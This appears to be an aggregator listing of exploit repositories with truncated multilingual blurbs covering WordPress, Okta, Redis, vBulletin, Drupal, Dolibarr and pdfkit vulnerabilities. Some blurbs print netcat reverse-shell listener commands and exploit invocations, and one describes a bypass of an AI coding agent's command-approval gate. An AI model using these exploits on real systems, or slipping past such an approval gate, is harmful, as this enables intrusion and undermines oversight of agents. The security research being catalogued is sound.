Worpress-CVE-2023-5360

CVE-2023-5360 CVE-2023-5360 自动Shell上传 WordPress Royal Elementor 1.3.78 Shell上传 访问 https://phankz.com...

CVE-2026-78630 Improper Input Neutralization in Okta Access Gateway SNMP Configuration Processing

The Okta Access Gateway does not neutralize shell metacharacters in SNMP configuration values before a privileged script uses them to construct OS commands. An authenticated local user with access to the management interface can supply crafted values, resulting in the execution of arbitrary OS...

EUVD-2026-74182

The Okta Access Gateway does not neutralize shell metacharacters in SNMP configuration values before a privileged script uses them to construct OS commands. An authenticated local user with access to the management interface can supply crafted values, resulting in the execution of arbitrary OS...

CVE-2026-78630

CVE-2026-78630 affects Okta Access Gateway due to improper input neutralization in SNMP configuration processing. Shell metacharacters in SNMP configuration values are not sanitized before a privileged script uses them to construct OS commands, allowing an authenticated local user with access to ...

redis-cve-2025-62507

Exploit Scripts — CVE-2025-62507 目录结构 root@kitploit: scripts/ ├── exploitx86.py x86-64 ROP exploit ├── exploitarm64.py ARM64 AArch64 ROP exploit └── gdbwithsymbols.sh GDB 调试辅助脚本 漏洞摘要 项目| 说明 ---|--- CVE| CVE-2025-62507 漏洞类型| 栈缓冲区溢出 Stack Buffer Overflow 受影响组件| Redis 8.2.0 xackdelCommand 函数 触发方式|...

RCE-Exploit-Framework

RCE-Exploit-Framework Este framework está diseñado para ayudar a pentesters o desarrolladores a comprender los mecanismos de explotación de ejecución remota de código RCE. Características Generador de Payloads : Admite la creación de payloads personalizados basados en Python, Bash y PHP. Ejecutor...

ace-vim-neovim

ace-vim-neovim Vim/Neovim 通过模型行实现任意代码执行 CVE-2019-12735 使用方法 1. 监听 root@kitploit: nc -vlp 9999 2. 利用 root@kitploit: vim pocshell.txt 然后，你的本地主机将获得 shell。...

Wp_Adning_Advertising_Shell_Upload

WpAdningAdvertisingShellUpload python 2.7...

Phpweb-Getshell-py

Phpweb-Getshell-py Phpweb=2.0.35 使用教程，请参考www.0-sec.org...

CVE-2026-65400

CVE-2026-65400 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments...

CVE-2023-29017-reverse-shell

CVE-2023-29017-reverse-shell...

vBulletin-5.x-0day-pre-auth-RCE-exploit

vBulletin-5.x-0day-pre-auth-RCE-exploit Versiones afectadas: vBulletin 5.0.05.5.4 poc a continuación: !/usr/bin/python vBulletin 5.x 0day pre-auth RCE exploit This should work on all versions from 5.0.0 till 5.5.4 Google Dorks: - site:.vbulletin.net - "Powered by vBulletin Version 5.5.4" import...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 远程代码执行漏洞 此仓库包含针对 Adobe ColdFusion 2021 中远程代码执行漏洞的利用代码。 漏洞利用描述 该利用向 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm 发送一个包含 JSP 反向 Shell 的 POST 请求。如果成功，Shell 将被上传至...

CVE-2026-82537

Roo-Code through 3.54.0 contains an auto-approve bypass vulnerability that allows attackers to execute denied shell commands by exploiting a word-boundary mismatch in comment handling between the approval gate's shell parser and bash. Attackers can craft a command string with an allowlisted word...

drupalgeddon2-cli

drupalgeddon2-cli 一个命令行版本的 Drupalgeddon2 CVE-2018-7600 概念验证工具，作为学习练习在完成 Hack The Box Academy Attacking Common Applications 模块时编写。 !WARNING 仅限授权的安全测试和教育用途。 在非您拥有的或未经明确书面许可的系统上运行此工具，在大多数司法管辖区属于违法行为。请参阅 法律与负责任使用。 !NOTE 实现借助 AI 辅助编写。 请参阅 关于作者身份的说明。 背景——我为何构建此工具 Drupal 是 HTB Academy 的 Attacking Common...

CVE-2025-31324-File-Upload

CVE-2025-31324-File-Upload Un endpoint de carga de archivos totalmente no autenticado en Visual Composer permite a cualquiera subir archivos arbitrarios por ejemplo, un web-shell JSP al servidor. Herramienta de prueba de concepto para verificar y explotar la vulnerabilidad de carga de archivos no...

CVE-2026-39987

CVE-2026-39987 — RCE Pre-Auth en Marimo vía WebSocket de Terminal root@kitploit: / / | / / / | \ / \ \ / / | // / \ / / | | / / // // / / // // \ / Estado: Parcheado en 0.23.0 — marimo-team/marimo@c24d480 Vulnerabilidad El end...

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation 自动利用存在漏洞的 davfs2（CVE-2013-4362）的系统 这是干什么用的？ 只有两个 .sh 脚本，用于简化对存在漏洞版本的 davfs2 的利用 先决条件 内核必须至少没有加载 'fuse' 或 'coda' 模块之一（该 PoC 适用于默认未加载的 coda） 你必须是能够挂载远程 webdav 服务器的用户 通过 cat /etc/group | grep davfs2 检查 davfs2 使用 /etc/fstab...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 Exploit para CVE-2022-25765 inyección de comandos en pdfkit 0.8.6 Ver más detalles sobre la vulnerabilidad here PoC Ejecuta netcat en tu host: root@kitploit: $ nc -lvnp 1337 Ejecuta el exploit ejemplo: root@kitploit: $ ./CVE-2022-25765.py -t http://localhost -a...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

针对 Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host...